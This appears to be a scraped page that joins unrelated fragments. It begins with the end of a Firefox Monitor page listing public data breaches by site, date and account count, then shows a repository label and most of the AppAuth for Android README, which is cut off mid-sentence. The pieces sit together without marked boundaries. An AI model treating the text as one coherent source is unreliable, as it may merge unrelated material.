addresses&quot;},{&quot;Name&quot;:&quot;WHMCS&quot;,&quot;Title&quot;:&quot;WHMCS&quot;,&quot;AddedDate&quot;:&quot;June 28, 2016&quot;,&quot;PwnCount&quot;:&quot;134,047&quot;,&quot;LogoPath&quot;:&quot;WHMCS.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Partial credit card data&quot;},{&quot;Name&quot;:&quot;LinkedIn&quot;,&quot;Title&quot;:&quot;LinkedIn&quot;,&quot;AddedDate&quot;:&quot;May 21, 2016&quot;,&quot;PwnCount&quot;:&quot;164,611,595&quot;,&quot;LogoPath&quot;:&quot;LinkedIn.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Lastfm&quot;,&quot;Title&quot;:&quot;Last.fm&quot;,&quot;AddedDate&quot;:&quot;September 20, 2016&quot;,&quot;PwnCount&quot;:&quot;37,217,682&quot;,&quot;LogoPath&quot;:&quot;Lastfm.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;JobStreet&quot;,&quot;Title&quot;:&quot;JobStreet&quot;,&quot;AddedDate&quot;:&quot;October 30, 2017&quot;,&quot;PwnCount&quot;:&quot;3,883,455&quot;,&quot;LogoPath&quot;:&quot;JobStreet.png&quot;,&quot;DataClasses&quot;:&quot;Government issued IDs, Passwords&quot;},{&quot;Name&quot;:&quot;Gamigo&quot;,&quot;Title&quot;:&quot;Gamigo&quot;,&quot;AddedDate&quot;:&quot;January 18, 2016&quot;,&quot;PwnCount&quot;:&quot;8,243,604&quot;,&quot;LogoPath&quot;:&quot;Gamigo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;YouPorn&quot;,&quot;Title&quot;:&quot;YouPorn&quot;,&quot;AddedDate&quot;:&quot;July 30, 2015&quot;,&quot;PwnCount&quot;:&quot;1,327,567&quot;,&quot;LogoPath&quot;:&quot;YouPorn.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;VK&quot;,&quot;Title&quot;:&quot;VK&quot;,&quot;AddedDate&quot;:&quot;June 9, 2016&quot;,&quot;PwnCount&quot;:&quot;93,338,602&quot;,&quot;LogoPath&quot;:&quot;VK.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Tianya&quot;,&quot;Title&quot;:&quot;Tianya&quot;,&quot;AddedDate&quot;:&quot;June 30, 2016&quot;,&quot;PwnCount&quot;:&quot;29,020,808&quot;,&quot;LogoPath&quot;:&quot;Tianya.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;Stratfor&quot;,&quot;Title&quot;:&quot;Stratfor&quot;,&quot;AddedDate&quot;:&quot;December 4, 2013&quot;,&quot;PwnCount&quot;:&quot;859,777&quot;,&quot;LogoPath&quot;:&quot;Stratfor.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Credit cards&quot;},{&quot;Name&quot;:&quot;Hemmelig&quot;,&quot;Title&quot;:&quot;hemmelig.com&quot;,&quot;AddedDate&quot;:&quot;March 25, 2014&quot;,&quot;PwnCount&quot;:&quot;28,641&quot;,&quot;LogoPath&quot;:&quot;Hemmelig.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;AndroidForums&quot;,&quot;Title&quot;:&quot;Android Forums&quot;,&quot;AddedDate&quot;:&quot;December 20, 2015&quot;,&quot;PwnCount&quot;:&quot;745,355&quot;,&quot;LogoPath&quot;:&quot;AndroidForums.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BattlefieldHeroes&quot;,&quot;Title&quot;:&quot;Battlefield Heroes&quot;,&quot;AddedDate&quot;:&quot;January 23, 2014&quot;,&quot;PwnCount&quot;:&quot;530,270&quot;,&quot;LogoPath&quot;:&quot;BattlefieldHeroes.png&quot;,&quot;DataClasses&quot;:&quot;Passwords&quot;},{&quot;Name&quot;:&quot;HackForums&quot;,&quot;Title&quot;:&quot;hackforums.net&quot;,&quot;AddedDate&quot;:&quot;May 11, 2014&quot;,&quot;PwnCount&quot;:&quot;191,540&quot;,&quot;LogoPath&quot;:&quot;HackForums.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Sony&quot;,&quot;Title&quot;:&quot;Sony&quot;,&quot;AddedDate&quot;:&quot;December 4, 2013&quot;,&quot;PwnCount&quot;:&quot;37,103&quot;,&quot;LogoPath&quot;:&quot;Sony.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;QIP&quot;,&quot;Title&quot;:&quot;QIP&quot;,&quot;AddedDate&quot;:&quot;January 8, 2017&quot;,&quot;PwnCount&quot;:&quot;26,183,992&quot;,&quot;LogoPath&quot;:&quot;QIP.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Dangdang&quot;,&quot;Title&quot;:&quot;Dangdang&quot;,&quot;AddedDate&quot;:&quot;January 10, 2019&quot;,&quot;PwnCount&quot;:&quot;4,848,734&quot;,&quot;LogoPath&quot;:&quot;Dangdang.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;Fling&quot;,&quot;Title&quot;:&quot;Fling&quot;,&quot;AddedDate&quot;:&quot;May 28, 2016&quot;,&quot;PwnCount&quot;:&quot;40,767,652&quot;,&quot;LogoPath&quot;:&quot;Fling.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Gawker&quot;,&quot;Title&quot;:&quot;Gawker&quot;,&quot;AddedDate&quot;:&quot;December 4, 2013&quot;,&quot;PwnCount&quot;:&quot;1,247,574&quot;,&quot;LogoPath&quot;:&quot;Gawker.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;PaddyPower&quot;,&quot;Title&quot;:&quot;Paddy Power&quot;,&quot;AddedDate&quot;:&quot;October 11, 2015&quot;,&quot;PwnCount&quot;:&quot;590,954&quot;,&quot;LogoPath&quot;:&quot;PaddyPower.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Security questions and answers&quot;},{&quot;Name&quot;:&quot;Neteller&quot;,&quot;Title&quot;:&quot;Neteller&quot;,&quot;AddedDate&quot;:&quot;November 30, 2015&quot;,&quot;PwnCount&quot;:&quot;3,619,948&quot;,&quot;LogoPath&quot;:&quot;Neteller.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Security questions and answers&quot;},{&quot;Name&quot;:&quot;MoneyBookers&quot;,&quot;Title&quot;:&quot;Money Bookers&quot;,&quot;AddedDate&quot;:&quot;November 30, 2015&quot;,&quot;PwnCount&quot;:&quot;4,483,605&quot;,&quot;LogoPath&quot;:&quot;MoneyBookers.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;Elance&quot;,&quot;Title&quot;:&quot;Elance&quot;,&quot;AddedDate&quot;:&quot;February 18, 2017&quot;,&quot;PwnCount&quot;:&quot;1,291,178&quot;,&quot;LogoPath&quot;:&quot;Elance.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;BabyNames&quot;,&quot;Title&quot;:&quot;Baby Names&quot;,&quot;AddedDate&quot;:&quot;October 24, 2018&quot;,&quot;PwnCount&quot;:&quot;846,742&quot;,&quot;LogoPath&quot;:&quot;BabyNames.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MySpace&quot;,&quot;Title&quot;:&quot;MySpace&quot;,&quot;AddedDate&quot;:&quot;May 31, 2016&quot;,&quot;PwnCount&quot;:&quot;359,420,698&quot;,&quot;LogoPath&quot;:&quot;MySpace.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;FoxyBingo&quot;,&quot;Title&quot;:&quot;Foxy Bingo&quot;,&quot;AddedDate&quot;:&quot;November 22, 2015&quot;,&quot;PwnCount&quot;:&quot;252,216&quot;,&quot;LogoPath&quot;:&quot;FoxyBingo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;gPotato&quot;,&quot;Title&quot;:&quot;gPotato&quot;,&quot;AddedDate&quot;:&quot;September 24, 2016&quot;,&quot;PwnCount&quot;:&quot;2,136,520&quot;,&quot;LogoPath&quot;:&quot;gPotato.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;}]}"></div> <footer class="bg-white"> <ul class="row-full-width"> <li class="footer-link-wrapper moz-link"> <a class="footer-link mozilla-logo-wrapper" href="https://www.mozilla.org" data-ga-link="" data-event-category="Utility & Outbound Links" data-event-label="Mozilla.org" target="_blank" aria-label="Open Mozilla.org in new window"> <svg class="Mozilla-logo" aria-hidden="true" viewBox="0 0 2000 571.9"><path d="M0 0h2000v571.9H0z"/><path fill="#fff" d="M1910.2 410.5c-3.9 1.1-7.2 1.7-10.5 1.7-11.7 0-17.2-5-17.2-19.4V284.1c0-57.1-45.5-84.9-99.3-84.9-41.1 0-63.2 5-107.1 22.7l-9.8 57.6 57.1 6.1 8.1-28.2c11.7-6.1 23.3-7.2 38.3-7.2 40.5 0 41.1 30.5 41.1 56v8.3c-12.8-1.7-27.2-2.2-41.1-2.2-57.1 0-116.5 14.4-116.5 76 0 52.1 41 71.6 77.1 71.6 40.5 0 66-24.4 80.4-49.9 3.3 30.5 21.6 49.9 54.9 49.9 15.5 0 31.6-4.4 44.9-11.7l-.4-37.7zm-153.6-1.6c-21.6 0-29.4-12.8-29.4-28.9 0-27.2 22.2-34.4 47.7-34.4 11.6 0 24.4 1.7 36.1 3.3-1.7 41.7-28.9 60-54.4 60zm-96.1-336.2l-108.2 381.7h-70.5L1590 72.7h70.5zm-145.3 0L1407 454.4h-70.4l108.2-381.7h70.4zm-300.4 131.5h74.9V294h-74.9v-89.8zm0 160.3h74.9v89.9h-74.9v-89.9zm-109-3.3l56.6 5.5-15.5 87.7H928.3l-7.2-37.7 137.6-158.1h-78.2l-11.1 38.8-51.6-5.6 8.9-87.7h219.7l5.6 37.7L1013.2 400h81l11.6-38.8zm-358.5-162c-89.9 0-134.3 60.5-134.3 133.7 0 79.9 53.3 127 130.4 127 79.9 0 137.6-50.5 137.6-130.4 0-69.9-43.9-130.3-133.7-130.3zM745.6 405c-38.8 0-58.8-33.3-58.8-76.6 0-47.2 22.7-74.3 59.4-74.3 33.8 0 61 22.7 61 73.2 0 47.7-24.4 77.7-61.6 77.7zm-197-5h33.3v54.4H477V313.5c0-43.3-14.4-59.9-42.7-59.9-34.4 0-48.3 24.4-48.3 59.4v87h33.3v54.4H314.5V313.5c0-43.3-14.4-59.9-42.7-59.9-34.4 0-48.3 24.4-48.3 59.4v87h47.7v54.4H118.7V400H152V258.5h-33.3v-54.4h104.8v37.7c15-26.6 41.1-42.7 76-42.7 36.1 0 69.3 17.2 81.6 53.8 13.9-33.3 42.2-53.8 81.6-53.8 44.9 0 86 27.2 86 86.5V400z"/></svg> </a> </li> <li class="footer-link-wrapper"> <a class="footer-link" href="/about" data-ga-link="" data-event-category="Utility & Outbound Links" data-event-label="About Firefox Monitor" > About Firefox Monitor </a> </li> <li class="footer-link-wrapper"> <a class="footer-link" href="https://support.mozilla.org/kb/firefox-monitor-faq" data-ga-link="" data-event-category="Utility & Outbound Links" data-event-label="Frequently Asked Questions" > Frequently Asked Questions </a> </li> <li class="footer-link-wrapper"> <a class="footer-link" href="https://www.mozilla.org/privacy/firefox-monitor/?utm_campaign&#x3D;fx_monitor_downloads&amp;utm_content&#x3D;site-footer-link&amp;utm_medium&#x3D;referral&amp;utm_source&#x3D;monitor.firefox.com" data-ga-link="" data-event-category="Utility & Outbound Links" data-event-label="Terms &amp; Privacy" > Terms &amp; Privacy </a> </li> <li class="footer-link-wrapper"> <a class="footer-link" href="https://github.com/mozilla/blurts-server" data-ga-link="" data-event-category="Utility & Outbound Links" data-event-label="GitHub" > GitHub </a> </li> </ul> </footer> </body> </html>

    From user marmollie101

  • mercerheather476 / turbo-garbanzo

    names.io, ![AppAuth for Android](https://rawgit.com/openid/AppAuth-Android/master/appauth_lockup.svg) [![Download](https://img.shields.io/maven-central/v/net.openid/appauth)](https://search.maven.org/search?q=g:net.openid%20appauth) [![Javadocs](http://javadoc.io/badge/net.openid/appauth.svg)](http://javadoc.io/doc/net.openid/appauth) [![Build Status](https://github.com/openid/AppAuth-Android/actions/workflows/build.yml/badge.svg)](https://github.com/openid/AppAuth-Android/actions/workflows/build.yml) [![codecov.io](https://codecov.io/github/openid/AppAuth-Android/coverage.svg?branch=master)](https://codecov.io/github/openid/AppAuth-Android?branch=master) AppAuth for Android is a client SDK for communicating with [OAuth 2.0](https://tools.ietf.org/html/rfc6749) and [OpenID Connect](http://openid.net/specs/openid-connect-core-1_0.html) providers. It strives to directly map the requests and responses of those specifications, while following the idiomatic style of the implementation language. In addition to mapping the raw protocol flows, convenience methods are available to assist with common tasks like performing an action with fresh tokens. The library follows the best practices set out in [RFC 8252 - OAuth 2.0 for Native Apps](https://tools.ietf.org/html/rfc8252), including using [Custom Tabs](https://developer.chrome.com/multidevice/android/customtabs) for authorization requests. For this reason, `WebView` is explicitly *not* supported due to usability and security reasons. The library also supports the [PKCE](https://tools.ietf.org/html/rfc7636) extension to OAuth which was created to secure authorization codes in public clients when custom URI scheme redirects are used. The library is friendly to other extensions (standard or otherwise) with the ability to handle additional parameters in all protocol requests and responses. A talk providing an overview of using the library for enterprise single sign-on (produced by Google) can be found here: [Enterprise SSO with Chrome Custom Tabs](https://www.youtube.com/watch?v=DdQTXrk6YTk). ## Download AppAuth for Android is available on [MavenCentral](https://search.maven.org/search?q=g:net.openid%20appauth) ```groovy implementation 'net.openid:appauth:<version>' ``` ## Requirements AppAuth supports Android API 16 (Jellybean) and above. Browsers which provide a custom tabs implementation are preferred by the library, but not required. Both Custom URI Schemes (all supported versions of Android) and App Links (Android M / API 23+) can be used with the library. In general, AppAuth can work with any Authorization Server (AS) that supports native apps as documented in [RFC 8252](https://tools.ietf.org/html/rfc8252), either through custom URI scheme redirects, or App Links. AS's that assume all clients are web-based or require clients to maintain confidentiality of the client secrets may not work well. ## Demo app A demo app is contained within this repository. For instructions on how to build and configure this app, see the [demo app readme](https://github.com/openid/AppAuth-Android/blob/master/app/README.md). ## Conceptual overview AppAuth encapsulates the authorization state of the user in the [net.openid.appauth.AuthState](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java) class, and communicates with an authorization server through the use of the [net.openid.appauth.AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) class. AuthState is designed to be easily persistable as a JSON string, using the storage mechanism of your choice (e.g. [SharedPreferences](https://developer.android.com/training/basics/data-storage/shared-preferences.html), [sqlite](https://developer.android.com/training/basics/data-storage/databases.html), or even just [in a file](https://developer.android.com/training/basics/data-storage/files.html)). AppAuth provides data classes which are intended to model the OAuth2 specification as closely as possible; this provides the greatest flexibility in interacting with a wide variety of OAuth2 and OpenID Connect implementations. Authorizing the user occurs via the user's web browser, and the request is described using instances of [AuthorizationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationRequest.java). The request is dispatched using [performAuthorizationRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L159) on an AuthorizationService instance, and the response (an [AuthorizationResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationResponse.java) instance) will be dispatched to the activity of your choice, expressed via an Intent. Token requests, such as obtaining a new access token using a refresh token, follow a similar pattern: [TokenRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenRequest.java) instances are dispatched using [performTokenRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L252) on an AuthorizationService instance, and a [TokenResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenResponse.java) instance is returned via a callback. Responses can be provided to the [update()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L367) methods on AuthState in order to track and persist changes to the authorization state. Once in an authorized state, the [performActionWithFreshTokens()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L449) method on AuthState can be used to automatically refresh access tokens as necessary before performing actions that require valid tokens. ## Implementing the authorization code flow It is recommended that native apps use the [authorization code](https://tools.ietf.org/html/rfc6749#section-1.3.1) flow with a public client to gain authorization to access user data. This has the primary advantage for native clients that the authorization flow, which must occur in a browser, only needs to be performed once. This flow is effectively composed of four stages: 1. Discovering or specifying the endpoints to interact with the provider. 2. Authorizing the user, via a browser, in order to obtain an authorization code. 3. Exchanging the authorization code with the authorization server, to obtain a refresh token and/or ID token. 4. Using access tokens derived from the refresh token to interact with a resource server for further access to user data. At each step of the process, an AuthState instance can (optionally) be updated with the result to help with tracking the state of the flow. ### Authorization service configuration First, AppAuth must be instructed how to interact with the authorization service. This can be done either by directly creating an [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java#L102) instance, or by retrieving an OpenID Connect discovery document. Directly specifying an AuthorizationServiceConfiguration involves providing the URIs of the authorization endpoint and token endpoint, and optionally a dynamic client registration endpoint (see "Dynamic client registration" for more info): ```java AuthorizationServiceConfiguration serviceConfig = new AuthorizationServiceConfiguration( Uri.parse("https://idp.example.com/auth"), // authorization endpoint Uri.parse("https://idp.example.com/token")); // token endpoint ``` Where available, using an OpenID Connect discovery document is preferable: ```java AuthorizationServiceConfiguration.fetchFromIssuer( Uri.parse("https://idp.example.com"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { public void onFetchConfigurationCompleted( @Nullable AuthorizationServiceConfiguration serviceConfiguration, @Nullable AuthorizationException ex) { if (ex != null) { Log.e(TAG, "failed to fetch configuration"); return; } // use serviceConfiguration as needed } }); ``` This will attempt to download a discovery document from the standard location under this base URI, `https://idp.example.com/.well-known/openid-configuration`. If the discovery document for your IDP is in some other non-standard location, you can instead provide the full URI as follows: ```java AuthorizationServiceConfiguration.fetchFromUrl( Uri.parse("https://idp.example.com/exampletenant/openid-config"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { ... } }); ``` If desired, this configuration can be used to seed an AuthState instance, to persist the configuration easily: ```java AuthState authState = new AuthState(serviceConfig); ``` ### Obtaining an authorization code An authorization code can now be acquired by constructing an AuthorizationRequest, using its Builder. In AppAuth, the builders for each data class accept the mandatory parameters via the builder constructor: ```java AuthorizationRequest.Builder authRequestBuilder = new AuthorizationRequest.Builder( serviceConfig, // the authorization service configuration MY_CLIENT_ID, // the client ID, typically pre-registered and static ResponseTypeValues.CODE, // the response_type value: we want a code MY_REDIRECT_URI); // the redirect URI to which the auth response is sent ``` Other optional parameters, such as the OAuth2 [scope string](https://tools.ietf.org/html/rfc6749#section-3.3) or OpenID Connect [login hint](http://openid.net/specs/openid-connect-core-1_0.html#rfc.section.3.1.2.1) are specified through set methods on the builder: ```java AuthorizationRequest authRequest = authRequestBuilder .setScope("openid email profile https://idp.example.com/custom-scope") .setLoginHint("[email protected]") .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performAuthorizationRequest` and providing pending intent for completion and cancelation handling activities. The `startActivityForResult` approach is simpler to use but may require more processing of the result: ```java private void doAuthorization() { AuthorizationService authService = new AuthorizationService(this); Intent authIntent = authService.getAuthorizationRequestIntent(authRequest); startActivityForResult(authIntent, RC_AUTH); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_AUTH) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performAuthorizationRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performAuthorizationRequest( authRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` The intents may be customized to carry any additional data or flags required for the correct handling of the authorization response. #### Capturing the authorization redirect Once the authorization flow is completed in the browser, the authorization service will redirect to a URI specified as part of the authorization request, providing the response via query parameters. In order for your app to capture this response, it must register with the Android OS as a handler for this redirect URI. We recommend using a custom scheme based redirect URI (i.e. those of form `my.scheme:/path`), as this is the most widely supported across all versions of Android. To avoid conflicts with other apps, it is recommended to configure a distinct scheme using "reverse domain name notation". This can either match your service web domain (in reverse) e.g. `com.example.service` or your package name `com.example.app` or be something completely new as long as it's distinct enough. Using the package name of your app is quite common but it's not always possible if it contains illegal characters for URI schemes (like underscores) or if you already have another handler for that scheme - so just use something else. When a custom scheme is used, AppAuth can be easily configured to capture all redirects using this custom scheme through a manifest placeholder: ```groovy android.defaultConfig.manifestPlaceholders = [ 'appAuthRedirectScheme': 'com.example.app' ] ``` Alternatively, the redirect URI can be directly configured by adding an intent-filter for AppAuth's RedirectUriReceiverActivity to your AndroidManifest.xml: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="com.example.app"/> </intent-filter> </activity> ``` If an HTTPS redirect URI is required instead of a custom scheme, the same approach (modifying your AndroidManifest.xml) is used: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="https" android:host="app.example.com" android:path="/oauth2redirect"/> </intent-filter> </activity> ``` HTTPS redirects can be secured by configuring the redirect URI as an [app link](https://developer.android.com/training/app-links/index.html) in Android M and above. We recommend that a fallback page be configured at the same address to forward authorization responses to your app via a custom scheme, for older Android devices. #### Handling the authorization response Upon completion of the authorization flow, the completion Intent provided to performAuthorizationRequest will be triggered. The authorization response is provided to this activity via Intent extra data, which can be extracted using the `fromIntent()` methods on AuthorizationResponse and AuthorizationException respectively: ```java public void onCreate(Bundle b) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` The response can be provided to the AuthState instance for easy persistence and further processing: ``` authState.update(resp, ex); ``` If the full redirect URI is required in order to extract additional information that AppAuth does not provide, this is also provided to your activity: ```java public void onCreate(Bundle b) { // ... Uri redirectUri = getIntent().getData(); // ... } ``` ### Exchanging the authorization code Given a successful authorization response carrying an authorization code, a token request can be made to exchange the code for a refresh token: ```java authService.performTokenRequest( resp.createTokenExchangeRequest(), new AuthorizationService.TokenResponseCallback() { @Override public void onTokenRequestCompleted( TokenResponse resp, AuthorizationException ex) { if (resp != null) { // exchange succeeded } else { // authorization failed, check ex for more details } } }); ``` The token response can also be used to update an AuthState instance: ```java authState.update(resp, ex); ``` ### Using access tokens Finally, the retrieved access token can be used to interact with a resource server. This can be done directly, by extracting the access token from a token response. However, in most cases, it is simpler to use the `performActionWithFreshTokens` utility method provided by AuthState: ```java authState.performActionWithFreshTokens(service, new AuthStateAction() { @Override public void execute( String accessToken, String idToken, AuthorizationException ex) { if (ex != null) { // negotiation for fresh tokens failed, check ex for more details return; } // use the access token to do something ... } }); ``` This also updates the AuthState object with current access, id, and refresh tokens. If you are storing your AuthState in persistent storage, you should write the updated copy in the callback to this method. ### Ending current session Given you have a logged in session and you want to end it. In that case you need to get: - `AuthorizationServiceConfiguration` - valid Open Id Token that you should get after authentication - End of session URI that should be provided within you OpenId service config First you have to build EndSessionRequest ```java EndSessionRequest endSessionRequest = new EndSessionRequest.Builder(authorizationServiceConfiguration) .setIdTokenHint(idToken) .setPostLogoutRedirectUri(endSessionRedirectUri) .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performEndSessionRequest` and providing pending intent for completion and cancelation handling activities. The startActivityForResult approach is simpler to use but may require more processing of the result: ```java private void endSession() { AuthorizationService authService = new AuthorizationService(this); Intent endSessionItent = authService.getEndSessionRequestIntent(endSessionRequest); startActivityForResult(endSessionItent, RC_END_SESSION); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_END_SESSION) { EndSessionResonse resp = EndSessionResonse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performEndSessionRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performEndSessionRequest( endSessionRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` End session flow will also work involving browser mechanism that is described in authorization mechanism session. Handling response mechanism with transition to another activity should be as follows: ```java public void onCreate(Bundle b) { EndSessionResponse resp = EndSessionResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` ### AuthState persistence Instances of `AuthState` keep track of the authorization and token requests and responses. This is the only object that you need to persist to retain the authorization state of the session. Typically, one would do this by storing the authorization state in SharedPreferences or some other persistent store private to the app: ```java @NonNull public AuthState readAuthState() { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); String stateJson = authPrefs.getString("stateJson", null); if (stateJson != null) { return AuthState.jsonDeserialize(stateJson); } else { return new AuthState(); } } public void writeAuthState(@NonNull AuthState state) { SharedPreferences authPrefs = getSharedPreferences("auth", MODE_PRIVATE); authPrefs.edit() .putString("stateJson", state.jsonSerializeString()) .apply(); } ``` The demo app has an [AuthStateManager](https://github.com/openid/AppAuth-Android/blob/master/app/java/net/openid/appauthdemo/AuthStateManager.java) type which demonstrates this in more detail. ## Advanced configuration AppAuth provides some advanced configuration options via [AppAuthConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AppAuthConfiguration.java) instances, which can be provided to [AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) during construction. ### Controlling which browser is used for authorization Some applications require explicit control over which browsers can be used for authorization - for example, to require that Chrome be used for second factor authentication to work, or require that some custom browser is used for authentication in an enterprise environment. Control over which browsers can be used can be achieved by defining a [BrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserMatcher.java), and supplying this to the builder of AppAuthConfiguration. A BrowserMatcher is suppled with a [BrowserDescriptor](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDescriptor.java) instance, and must decide whether this browser is permitted for the authorization flow. By default, [AnyBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/AnyBrowserMatcher.java) is used. For your convenience, utility classes to help define a browser matcher are provided, such as: - [Browsers](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/Browsers.java): contains a set of constants for the official package names and signatures of Chrome, Firefox and Samsung SBrowser. - [VersionedBrowserMatcher](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionedBrowserMatcher.java): will match a browser if it has a matching package name and signature, and a version number within a defined [VersionRange](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/VersionRange.java). This class also provides some static instances for matching Chrome, Firefox and Samsung SBrowser. - [BrowserAllowList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserAllowList.java): takes a list of BrowserMatcher instances, and will match a browser if any of these child BrowserMatcher instances signals a match. - [BrowserDenyList](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/browser/BrowserDenyList.java): the inverse of BrowserAllowList - takes a list of browser matcher instances, and will match a browser if it _does not_ match any of these child BrowserMatcher instances. For instance, in order to restrict the authorization flow to using Chrome or SBrowser as a custom tab: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserAllowList( VersionedBrowserMatcher.CHROME_CUSTOM_TAB, VersionedBrowserMatcher.SAMSUNG_CUSTOM_TAB)) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` Or, to prevent the use of a buggy version of the custom tabs in Samsung SBrowser: ```java AppAuthConfiguration appAuthConfig = new AppAuthConfiguration.Builder() .setBrowserMatcher(new BrowserDenyList( new VersionedBrowserMatcher( Browsers.SBrowser.PACKAGE_NAME, Browsers.SBrowser.SIGNATURE_SET, true, // when this browser is used via a custom tab VersionRange.atMost("5.3") ))) .build(); AuthorizationService authService = new AuthorizationService(context, appAuthConfig); ``` ### Customizing the connection builder for HTTP requests It can be desirable to customize how HTTP connections are made when performing token requests, for instance to use [certificate pinning](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning) or to add additional trusted certificate authorities for an enterprise environment. This can be achieved in AppAuth by providing a custom 